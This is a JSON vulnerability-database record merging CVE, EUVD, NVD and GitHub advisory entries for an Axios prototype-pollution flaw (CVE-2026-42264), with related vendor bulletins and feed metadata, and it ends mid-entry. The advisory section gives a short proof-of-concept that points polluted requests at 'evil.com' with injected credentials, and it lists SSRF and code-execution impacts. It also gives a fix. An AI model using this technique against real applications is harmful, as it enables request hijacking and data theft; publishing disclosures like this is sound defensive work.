{"id":"EUVD-2026-28505","revision":null,"records":[{"revision":"fe0b5ecc7c9743aabc30c652f6f656f7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42264","aliases":[],"title":"Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking","description":"Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.","state":0,"publishedAt":"2026-05-08T03:20:24.248+00:00","modifiedAt":"2026-09-11T12:09:00.642+00:00","affected":[{"ecosystem":"Vendor product","name":"axios","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axios\",\n                    \"product\": \"axios\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0, < 1.15.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://github.com/axios/axios/pull/10779","https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa","https://github.com/axios/axios/releases/tag/v1.15.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42264","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42264","identifiers":["CVE-2026-42264"]},"retained":false,"historicalAffected":[]},{"revision":"c43f65025a144ffa9d5deebd50d3a77d","observedAt":"2026-11-14T06:10:58.38+00:00","statement":{"source":"euvd","id":"EUVD-2026-28505","aliases":["CVE-2026-42264","GHSA-q8qp-cvcw-x6jj"],"title":"Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via dire…","description":"Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":null}],"references":["https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://github.com/axios/axios/pull/10779","https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa","https://github.com/axios/axios/releases/tag/v1.15.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28505","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 8, 2026, 3:20:24 AM","dateUpdated":"Sep 11, 2026, 12:09:00 PM"},"relatedAdvisories":[{"id":"RHSA-2026:41951","title":"Red Hat Security Advisory: Red Hat Data Grid 8.6.2 security update","vulnerabilityIds":["CVE-2026-6322","CVE-2026-9595","CVE-2026-12143","CVE-2026-33245","CVE-2026-34077","CVE-2026-40983","CVE-2026-40984","CVE-2026-42211","CVE-2026-42264","CVE-2026-42342","CVE-2026-42583","CVE-2026-42586","CVE-2026-42587","CVE-2026-44248","CVE-2026-44249","CVE-2026-44250","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44890","CVE-2026-44893","CVE-2026-45292","CVE-2026-45416","CVE-2026-45674","CVE-2026-46340","CVE-2026-47691","CVE-2026-48006","CVE-2026-48043","CVE-2026-48059","CVE-2026-50010","CVE-2026-50011","CVE-2026-50193","CVE-2026-54512","CVE-2026-54513"]},{"id":"RHSA-2026:66545","title":"Red Hat Security Advisory: Red Hat AMQ Broker 7.13.6 release and security update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40984","CVE-2026-42198","CVE-2026-42264","CVE-2026-42338","CVE-2026-42578","CVE-2026-42581","CVE-2026-42584","CVE-2026-42587","CVE-2026-42588","CVE-2026-44248","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45205","CVE-2026-45416","CVE-2026-45736","CVE-2026-48779","CVE-2026-49362","CVE-2026-49363","CVE-2026-49364","CVE-2026-49432","CVE-2026-49978","CVE-2026-50010","CVE-2026-50734","CVE-2026-53916","CVE-2026-54512","CVE-2026-54513","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-57822","CVE-2026-57967","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59888","CVE-2026-59899","CVE-2026-62243","CVE-2026-66257","CVE-2026-66273","CVE-2026-66274","CVE-2026-67593","CVE-2026-68494"]},{"id":"RHSA-2026:37287","title":"Red Hat Security Advisory: Kiali 2.4.20 for Red Hat OpenShift Service Mesh 3.0","vulnerabilityIds":["CVE-2026-42264"]},{"id":"RHSA-2026:37288","title":"Red Hat Security Advisory: Kiali 2.22.7 for Red Hat OpenShift Service Mesh 3.3","vulnerabilityIds":["CVE-2026-42264"]},{"id":"RHSA-2026:50300","title":"Red Hat Security Advisory: Migration Toolkit for Applications","vulnerabilityIds":["CVE-2026-4926","CVE-2026-12143","CVE-2026-13149","CVE-2026-25681","CVE-2026-26996","CVE-2026-27136","CVE-2026-27904","CVE-2026-33811","CVE-2026-39820","CVE-2026-39821","CVE-2026-40895","CVE-2026-42039","CVE-2026-42041","CVE-2026-42044","CVE-2026-42264","CVE-2026-42342","CVE-2026-42499","CVE-2026-42504","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-55603"]},{"id":"WID-SEC-W-2026-1955","title":"Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-11272","CVE-2021-3803","CVE-2022-1471","CVE-2022-22965","CVE-2022-22978","CVE-2022-31692","CVE-2024-22257","CVE-2025-22228","CVE-2026-22732","CVE-2026-24734","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-29129","CVE-2026-33870","CVE-2026-33871","CVE-2026-34077","CVE-2026-34486","CVE-2026-34487","CVE-2026-40175","CVE-2026-41044","CVE-2026-41284","CVE-2026-41293","CVE-2026-42033","CVE-2026-42035","CVE-2026-42038","CVE-2026-42043","CVE-2026-42198","CVE-2026-42211","CVE-2026-42264","CVE-2026-42342","CVE-2026-42498","CVE-2026-42579","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42585","CVE-2026-42587","CVE-2026-43512","CVE-2026-43513","CVE-2026-43515","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44495","CVE-2026-44496","CVE-2026-45149","CVE-2026-45736"]},{"id":"RHSA-2026:42142","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update","vulnerabilityIds":["CVE-2026-6322","CVE-2026-12382","CVE-2026-12701","CVE-2026-27136","CVE-2026-27145","CVE-2026-39821","CVE-2026-42264","CVE-2026-42561","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48526","CVE-2026-48746","CVE-2026-54283"]},{"id":"RHSA-2026:41928","title":"Red Hat Security Advisory: Red Hat Migration Toolkit for Containers","vulnerabilityIds":["CVE-2025-7783","CVE-2025-12816","CVE-2025-13465","CVE-2025-15284","CVE-2025-52881","CVE-2025-58183","CVE-2025-58754","CVE-2025-61726","CVE-2025-61729","CVE-2025-62718","CVE-2025-66031","CVE-2025-66418","CVE-2025-66471","CVE-2025-66506","CVE-2025-68121","CVE-2025-69223","CVE-2025-69227","CVE-2025-69228","CVE-2026-4800","CVE-2026-6322","CVE-2026-9277","CVE-2026-9595","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-21441","CVE-2026-22029","CVE-2026-23490","CVE-2026-23745","CVE-2026-25679","CVE-2026-25681","CVE-2026-27136","CVE-2026-27137","CVE-2026-29063","CVE-2026-30922","CVE-2026-32280","CVE-2026-32281","CVE-2026-32283","CVE-2026-33186","CVE-2026-33810","CVE-2026-33811","CVE-2026-34986","CVE-2026-39820","CVE-2026-39821","CVE-2026-40895","CVE-2026-42264","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45736","CVE-2026-45822","CVE-2026-48779"]},{"id":"RHSA-2026:60520","title":"Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-66471","CVE-2025-66626","CVE-2025-71329","CVE-2025-71330","CVE-2026-0545","CVE-2026-2614","CVE-2026-5241","CVE-2026-5422","CVE-2026-6322","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-12243","CVE-2026-12481","CVE-2026-13149","CVE-2026-13311","CVE-2026-13676","CVE-2026-13717","CVE-2026-14450","CVE-2026-15154","CVE-2026-15218","CVE-2026-15378","CVE-2026-15467","CVE-2026-15581","CVE-2026-16745","CVE-2026-18608","CVE-2026-18611","CVE-2026-18617","CVE-2026-18620","CVE-2026-18621","CVE-2026-18948","CVE-2026-18951","CVE-2026-18982","CVE-2026-25681","CVE-2026-27136","CVE-2026-32280","CVE-2026-32283","CVE-2026-33079","CVE-2026-33245","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-35397","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39835","CVE-2026-40171","CVE-2026-41672","CVE-2026-41673","CVE-2026-41675","CVE-2026-42211","CVE-2026-42215","CVE-2026-42264","CVE-2026-42266","CVE-2026-42284","CVE-2026-42305","CVE-2026-42311","CVE-2026-42338","CVE-2026-42342","CVE-2026-42499","CVE-2026-42502","CVE-2026-42508","CVE-2026-42557","CVE-2026-44017","CVE-2026-44018","CVE-2026-44020","CVE-2026-44240","CVE-2026-44244","CVE-2026-44289","CVE-2026-44290","CVE-2026-44291","CVE-2026-44292","CVE-2026-44293","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44513","CVE-2026-44660","CVE-2026-44705","CVE-2026-44724","CVE-2026-44727","CVE-2026-44827","CVE-2026-44843","CVE-2026-45292","CVE-2026-45623","CVE-2026-45736","CVE-2026-45740","CVE-2026-45804","CVE-2026-46595","CVE-2026-46597","CVE-2026-46625","CVE-2026-47214","CVE-2026-48526","CVE-2026-48710","CVE-2026-48712","CVE-2026-48779","CVE-2026-48801","CVE-2026-49476","CVE-2026-49477","CVE-2026-49851","CVE-2026-49978","CVE-2026-50193","CVE-2026-53550","CVE-2026-54058","CVE-2026-54060","CVE-2026-54283","CVE-2026-54293","CVE-2026-55379","CVE-2026-55380","CVE-2026-55685","CVE-2026-56121","CVE-2026-56208","CVE-2026-56209","CVE-2026-56210","CVE-2026-56211","CVE-2026-58049","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-64835","CVE-2026-64849","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244"]},{"id":"RHSA-2026:33173","title":"Red Hat Security Advisory: Kiali 2.17.10 for Red Hat OpenShift Service Mesh 3.2","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42264","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"openSUSE-SU-2026:20919-1","title":"Security update for agama-web-ui","vulnerabilityIds":["CVE-2025-7339","CVE-2026-42041","CVE-2026-42264","CVE-2026-9277"]},{"id":"RHSA-2026:66488","title":"Red Hat Security Advisory: Red Hat AMQ Broker 7.14.1 release and security update","vulnerabilityIds":["CVE-2025-14813","CVE-2026-0636","CVE-2026-5588","CVE-2026-9595","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40983","CVE-2026-40984","CVE-2026-42198","CVE-2026-42264","CVE-2026-42338","CVE-2026-42578","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42587","CVE-2026-42588","CVE-2026-44248","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44893","CVE-2026-45205","CVE-2026-45416","CVE-2026-45736","CVE-2026-48043","CVE-2026-48059","CVE-2026-48779","CVE-2026-49362","CVE-2026-49363","CVE-2026-49364","CVE-2026-49432","CVE-2026-49978","CVE-2026-50010","CVE-2026-50734","CVE-2026-53916","CVE-2026-54512","CVE-2026-54513","CVE-2026-55831","CVE-2026-55833","CVE-2026-55851","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-57822","CVE-2026-57967","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59899","CVE-2026-62243","CVE-2026-66257","CVE-2026-66273","CVE-2026-66274","CVE-2026-67593","CVE-2026-68494"]},{"id":"RHSA-2026:20938","title":"Red Hat Security Advisory: RHACS 4.9.7 security and bug fix update","vulnerabilityIds":["CVE-2025-62718","CVE-2026-32281","CVE-2026-40175","CVE-2026-40895","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42264","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:62260","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.","vulnerabilityIds":["CVE-2025-55163","CVE-2026-8286","CVE-2026-9277","CVE-2026-9547","CVE-2026-9563","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-15075","CVE-2026-15076","CVE-2026-27136","CVE-2026-34986","CVE-2026-39820","CVE-2026-39831","CVE-2026-39835","CVE-2026-40898","CVE-2026-40983","CVE-2026-40984","CVE-2026-41242","CVE-2026-41695","CVE-2026-41716","CVE-2026-42264","CVE-2026-42499","CVE-2026-44705","CVE-2026-45149","CVE-2026-45416","CVE-2026-45623","CVE-2026-45674","CVE-2026-46597","CVE-2026-46681","CVE-2026-47691","CVE-2026-48020","CVE-2026-48068","CVE-2026-48491","CVE-2026-49978","CVE-2026-50010","CVE-2026-50193","CVE-2026-53488","CVE-2026-53492","CVE-2026-53622","CVE-2026-54399","CVE-2026-54428","CVE-2026-54512","CVE-2026-54513","CVE-2026-54763","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-59296","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877","CVE-2026-59888","CVE-2026-59899","CVE-2026-65600","CVE-2026-65601","CVE-2026-67213","CVE-2026-67214","CVE-2026-68494","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73566","CVE-2026-73646","CVE-2026-75838"]},{"id":"RHSA-2026:37297","title":"Red Hat Security Advisory: Kiali 2.11.14 for Red Hat OpenShift Service Mesh 3.1","vulnerabilityIds":["CVE-2026-42264"]},{"id":"RHSA-2026:20889","title":"Red Hat Security Advisory: RHACS 4.10.3 security and bug fix update","vulnerabilityIds":["CVE-2025-62718","CVE-2026-25679","CVE-2026-32280","CVE-2026-32281","CVE-2026-40895","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42264","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:36207","title":"Red Hat Security Advisory: RHACS 4.11.1 security and bug fix update","vulnerabilityIds":["CVE-2026-9165","CVE-2026-25681","CVE-2026-27136","CVE-2026-33811","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39835","CVE-2026-42264","CVE-2026-42502","CVE-2026-46595","CVE-2026-53488"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28505","identifiers":["EUVD-2026-28505","CVE-2026-42264","GHSA-q8qp-cvcw-x6jj"]},"retained":false,"historicalAffected":[]},{"revision":"ddeb6cb22cee42e48caf9ef3c5172490","observedAt":"2026-11-12T16:19:37.423+00:00","statement":{"source":"nvd","id":"CVE-2026-42264","aliases":[],"title":"Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via dire…","description":"Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2.","state":0,"publishedAt":"2026-05-08T04:16:20.313+00:00","modifiedAt":"2026-11-11T23:10:00.263+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa","https://github.com/axios/axios/pull/10779","https://github.com/axios/axios/releases/tag/v1.15.2","https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://access.redhat.com/errata/RHSA-2026:20889","https://access.redhat.com/errata/RHSA-2026:20938","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:36207","https://access.redhat.com/errata/RHSA-2026:37287","https://access.redhat.com/errata/RHSA-2026:37288","https://access.redhat.com/errata/RHSA-2026:37297","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:41951","https://access.redhat.com/errata/RHSA-2026:42142","https://access.redhat.com/errata/RHSA-2026:50300","https://access.redhat.com/errata/RHSA-2026:60520","https://access.redhat.com/errata/RHSA-2026:62260","https://access.redhat.com/errata/RHSA-2026:66488","https://access.redhat.com/errata/RHSA-2026:66545","https://access.redhat.com/security/cve/CVE-2026-42264","https://bugzilla.redhat.com/show_bug.cgi?id=2467927","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42264.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42264","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-1321","CWE-915"],"productCriteria":["cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-08T04:16:20.313","lastModified":"2026-11-11T23:10:00.263"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42264","identifiers":["CVE-2026-42264"]},"retained":false,"historicalAffected":[]},{"revision":"c7edd7c81ad8460e861b227586e5903e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-q8qp-cvcw-x6jj","aliases":["CVE-2026-42264"],"title":"Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking","description":"## Summary\n\nFive config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.\n\n## Affected Properties\n\n1. **`config.auth`** (`lib/adapters/http.js` line 617)  Injects attacker-controlled `Authorization` header on all requests.\n2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.\n3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).\n4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.\n5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Prototype pollution from a vulnerable dependency in the same process\nObject.prototype.auth = { username: 'attacker', password: 'exfil' };\nObject.prototype.baseURL = 'https://evil.com';\n\nawait axios.get('/api/users');\n// Request is sent to: https://evil.com/api/users\n// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=\n// Attacker receives both the request and injected credentials\n```\n\n## Impact\n\n- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.\n- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.\n- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.\n- **Code execution:** Attacker-supplied functions execute during HTTP redirects.\n- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.\n\n## Root Cause\n\n`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.\n\nThe `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.\n\n## Suggested Fix\n\nApply the existing `own()` helper to all affected properties:\n\n```javascript\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nSame pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.","state":0,"publishedAt":"2026-05-05T00:18:38+00:00","modifiedAt":"2026-09-10T03:50:55.2806238+00:00","affected":[{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.15.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://nvd.nist.gov/vuln/detail/CVE-2026-42264","https://github.com/axios/axios/pull/10779","https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa","https://github.com/axios/axios","https://github.com/axios/axios/releases/tag/v1.15.2"],"sourceUrl":"https://github.com/advisories/GHSA-q8qp-cvcw-x6jj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-q8qp-cvcw-x6jj","identifiers":["GHSA-q8qp-cvcw-x6jj","CVE-2026-42264"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T00:30:35.7025358+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T00:30:35.7025358+00:00","lastSuccessAt":"2026-11-15T00:30:35.860631+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.8606328+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f4305fb3b9417bd97547e9305731a80b9463cd5f49ef853b3cd62960cad53a57-b1b3898d5794e2254d7800e3fe3019a3916d0abcec27dcc333172b795590268a","complete":true,"records":425757,"lastAttemptAt":"2026-11-15T00:30:35.1141414+00:00","lastSuccessAt":"2026-11-14T23:32:08.2210295+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.1141414+00:00","snapshotPublishedAt":"2026-11-14T23:27:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-19d3a167288748059b764510b42a56e1","complete":true,"records":13821,"lastAttemptAt":"2026-11-15T00:39:00.6890084+00:00","lastSuccessAt":"2026-11-15T00:39:00.683+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:39:00.683+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T00:30:35.7025358+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T00:30:35.7025358+00:00","lastSuccessAt":"2026-11-15T00:30:35.8620517+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.8620552+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a2d6726fa6984ccea1afed1a3e59d87e","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T00:31:15.0819052+00:00","lastSuccessAt":"2026-11-15T00:31:15.078+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:31:15.078+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T00:30:35.4763058+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.4763058+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T00:30:35.2641931+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.2641931+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 